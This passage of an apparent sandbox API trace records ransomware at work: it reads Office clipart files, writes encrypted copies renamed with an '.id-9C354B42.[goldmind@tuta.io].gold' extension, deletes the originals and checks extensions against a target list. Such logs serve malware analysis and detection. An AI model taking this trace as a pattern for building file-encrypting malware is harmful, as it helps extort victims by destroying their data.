lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4124, lpOverlapped=0x0) returned 1 [0114.379] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0114.379] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.379] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.380] SetEndOfFile (hFile=0x3ec) returned 1 [0114.380] CloseHandle (hObject=0x3ec) returned 1 [0114.380] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.380] SetEndOfFile (hFile=0x364) returned 1 [0114.382] CloseHandle (hObject=0x364) returned 1 [0114.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf")) returned 1 [0114.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.383] lstrlenW (lpString=".doc") returned 4 [0114.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.383] lstrlenW (lpString=".docx") returned 5 [0114.383] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.383] lstrlenW (lpString=".pdf") returned 4 [0114.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.383] lstrlenW (lpString=".xls") returned 4 [0114.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.383] lstrlenW (lpString=".xlsx") returned 5 [0114.383] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.383] lstrlenW (lpString=".ppt") returned 4 [0114.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.383] lstrlenW (lpString=".zip") returned 4 [0114.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.383] lstrlenW (lpString=".rar") returned 4 [0114.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.383] lstrlenW (lpString=".bz2") returned 4 [0114.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.383] lstrlenW (lpString=".7z") returned 3 [0114.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.383] lstrlenW (lpString=".dbf") returned 4 [0114.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.383] lstrlenW (lpString=".1cd") returned 4 [0114.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.384] lstrlenW (lpString=".jpg") returned 4 [0114.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.384] lstrlenW (lpString=".doc") returned 4 [0114.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString=".docx") returned 5 [0114.384] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.384] lstrlenW (lpString=".pdf") returned 4 [0114.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString=".xls") returned 4 [0114.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.384] lstrlenW (lpString=".xlsx") returned 5 [0114.384] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.384] lstrlenW (lpString=".ppt") returned 4 [0114.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.384] lstrlenW (lpString=".zip") returned 4 [0114.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.384] lstrlenW (lpString=".rar") returned 4 [0114.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString=".bz2") returned 4 [0114.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString=".7z") returned 3 [0114.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.384] lstrlenW (lpString=".dbf") returned 4 [0114.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.384] lstrlenW (lpString=".1cd") returned 4 [0114.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF") returned 63 [0114.384] lstrlenW (lpString=".jpg") returned 4 [0114.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.384] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.384] lstrlenW (lpString="J0199465.WMF") returned 12 [0114.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.385] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=5060) returned 1 [0114.385] CloseHandle (hObject=0x364) returned 1 [0114.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf")) returned 0x20 [0114.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.385] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.385] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.388] GetLastError () returned 0x0 [0114.388] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x13c4, lpOverlapped=0x0) returned 1 [0114.389] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0114.390] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.390] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.390] SetEndOfFile (hFile=0x3ec) returned 1 [0114.390] CloseHandle (hObject=0x3ec) returned 1 [0114.391] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.391] SetEndOfFile (hFile=0x364) returned 1 [0114.392] CloseHandle (hObject=0x364) returned 1 [0114.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.393] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf")) returned 1 [0114.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".doc") returned 4 [0114.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".docx") returned 5 [0114.394] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0114.394] lstrlenW (lpString=".pdf") returned 4 [0114.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".xls") returned 4 [0114.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.394] lstrlenW (lpString=".xlsx") returned 5 [0114.394] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0114.394] lstrlenW (lpString=".ppt") returned 4 [0114.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".zip") returned 4 [0114.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.394] lstrlenW (lpString=".rar") returned 4 [0114.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".bz2") returned 4 [0114.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".7z") returned 3 [0114.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".dbf") returned 4 [0114.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".1cd") returned 4 [0114.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".jpg") returned 4 [0114.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".doc") returned 4 [0114.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".docx") returned 5 [0114.394] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0114.394] lstrlenW (lpString=".pdf") returned 4 [0114.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".xls") returned 4 [0114.394] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.394] lstrlenW (lpString=".xlsx") returned 5 [0114.394] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0114.394] lstrlenW (lpString=".ppt") returned 4 [0114.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".zip") returned 4 [0114.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.394] lstrlenW (lpString=".rar") returned 4 [0114.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".bz2") returned 4 [0114.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.394] lstrlenW (lpString=".7z") returned 3 [0114.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.394] lstrlenW (lpString=".dbf") returned 4 [0114.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.395] lstrlenW (lpString=".1cd") returned 4 [0114.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF") returned 63 [0114.395] lstrlenW (lpString=".jpg") returned 4 [0114.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.395] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.395] lstrlenW (lpString="J0199469.WMF") returned 12 [0114.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.396] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=13756) returned 1 [0114.396] CloseHandle (hObject=0x364) returned 1 [0114.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf")) returned 0x20 [0114.396] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.396] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.397] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0114.397] GetLastError () returned 0x0 [0114.398] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x35bc, lpOverlapped=0x0) returned 1 [0114.399] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x35c0, lpOverlapped=0x0) returned 1 [0114.400] ReadFile (in: hFile=0x364, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.400] WriteFile (in: hFile=0x3ec, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.400] SetEndOfFile (hFile=0x3ec) returned 1 [0114.400] CloseHandle (hObject=0x3ec) returned 1 [0114.400] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.400] SetEndOfFile (hFile=0x364) returned 1 [0114.402] CloseHandle (hObject=0x364) returned 1 [0114.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.402] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf")) returned 1 [0114.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.403] lstrlenW (lpString=".doc") returned 4 [0114.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.403] lstrlenW (lpString=".docx") returned 5 [0114.403] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.403] lstrlenW (lpString=".pdf") returned 4 [0114.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.403] lstrlenW (lpString=".xls") returned 4 [0114.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.743] lstrlenW (lpString=".xlsx") returned 5 [0114.743] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.743] lstrlenW (lpString=".ppt") returned 4 [0114.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.743] lstrlenW (lpString=".zip") returned 4 [0114.743] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.743] lstrlenW (lpString=".rar") returned 4 [0114.743] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString=".bz2") returned 4 [0114.743] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString=".7z") returned 3 [0114.743] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.743] lstrlenW (lpString=".dbf") returned 4 [0114.743] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.743] lstrlenW (lpString=".1cd") returned 4 [0114.743] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.743] lstrlenW (lpString=".jpg") returned 4 [0114.743] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.743] lstrlenW (lpString=".doc") returned 4 [0114.743] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString=".docx") returned 5 [0114.743] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.743] lstrlenW (lpString=".pdf") returned 4 [0114.743] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString=".xls") returned 4 [0114.743] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.743] lstrlenW (lpString=".xlsx") returned 5 [0114.743] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.743] lstrlenW (lpString=".ppt") returned 4 [0114.743] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.743] lstrlenW (lpString=".zip") returned 4 [0114.744] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.744] lstrlenW (lpString=".rar") returned 4 [0114.744] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.744] lstrlenW (lpString=".bz2") returned 4 [0114.744] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.744] lstrlenW (lpString=".7z") returned 3 [0114.744] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.744] lstrlenW (lpString=".dbf") returned 4 [0114.744] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.744] lstrlenW (lpString=".1cd") returned 4 [0114.744] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF") returned 63 [0114.744] lstrlenW (lpString=".jpg") returned 4 [0114.744] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.744] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.744] lstrlenW (lpString="J0200279.WMF") returned 12 [0114.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.745] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=19466) returned 1 [0114.745] CloseHandle (hObject=0x180) returned 1 [0114.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf")) returned 0x20 [0114.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0114.745] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.745] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0114.746] GetLastError () returned 0x0 [0114.746] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x4c0a, lpOverlapped=0x0) returned 1 [0114.749] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x4c10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x4c10, lpOverlapped=0x0) returned 1 [0114.750] ReadFile (in: hFile=0x180, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.750] WriteFile (in: hFile=0x230, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, 